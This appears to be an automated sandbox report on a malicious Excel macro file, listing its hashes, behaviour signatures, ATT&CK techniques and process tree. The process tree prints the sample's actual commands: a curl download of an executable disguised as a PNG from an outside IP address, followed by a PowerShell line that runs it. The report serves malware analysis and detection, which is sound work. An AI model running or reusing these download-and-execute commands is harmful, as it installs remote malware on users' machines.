5a11b806245bbcf538179ea2805929db01e9df9fc792e577ebe0b1c4694e9a32

General

Target

637157-211036-853667.xlsm
Size

140KB
MD5

a1fc90a0d2d73cb38e96158308a4d984
SHA1

711c9d1bbc54f1b217fd1816c78b6979e5c52128
SHA256

5a11b806245bbcf538179ea2805929db01e9df9fc792e577ebe0b1c4694e9a32
SHA512

58ee83e1efd6171325d9c5d88f18a8492161d7f767e7c0f90d5315f1ac844598ce4d5e0048ecbdc561f3492f8f0044e733f029cd218b1661f909d1a9641db7d4

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1376	3728	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2220	3728	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3728 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1376 powershell.exe
1376 powershell.exe
1376 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1376 powershell.exe

pid	process
1376	powershell.exe
1376	powershell.exe
1376	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1376	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 3728 wrote to memory of 1376	3728	EXCEL.EXE	powershell.exe
PID 3728 wrote to memory of 1376	3728	EXCEL.EXE	powershell.exe
PID 3728 wrote to memory of 2220	3728	EXCEL.EXE	cmd.exe
PID 3728 wrote to memory of 2220	3728	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\637157-211036-853667.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe start-sleep 10; $x=$env:AppData+'\QyZcY.exe';Invoke-Expression $x
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1376
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\QyZcY.exe
  2⤵
  - Process spawned unexpected child process
  PID:2220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1376-258-0x0000000000000000-mapping.dmp

Download
memory/1376-284-0x00000193C5466000-0x00000193C5468000-memory.dmp

Filesize
8KB

Download
memory/1376-277-0x00000193C5463000-0x00000193C5465000-memory.dmp

Filesize
8KB

Download
memory/1376-276-0x00000193C5460000-0x00000193C5462000-memory.dmp

Filesize
8KB

Download
memory/1376-267-0x00000193DDD20000-0x00000193DDD21000-memory.dmp

Filesize
4KB

Download
memory/1376-264-0x00000193C5A20000-0x00000193C5A21000-memory.dmp

Filesize
4KB

Download
memory/2220-259-0x0000000000000000-mapping.dmp

Download
memory/3728-117-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp

Filesize
64KB

Download
memory/3728-123-0x00007FFB7AAF0000-0x00007FFB7C9E5000-memory.dmp

Filesize
31.0MB

Download
memory/3728-122-0x00007FFB7C9F0000-0x00007FFB7DADE000-memory.dmp

Filesize
16.9MB

Download
memory/3728-119-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp

Filesize
64KB

Download
memory/3728-118-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp

Filesize
64KB

Download
memory/3728-114-0x00007FF7A8860000-0x00007FF7ABE16000-memory.dmp

Filesize
53.7MB

Download
memory/3728-116-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp

Filesize
64KB

Download
memory/3728-115-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads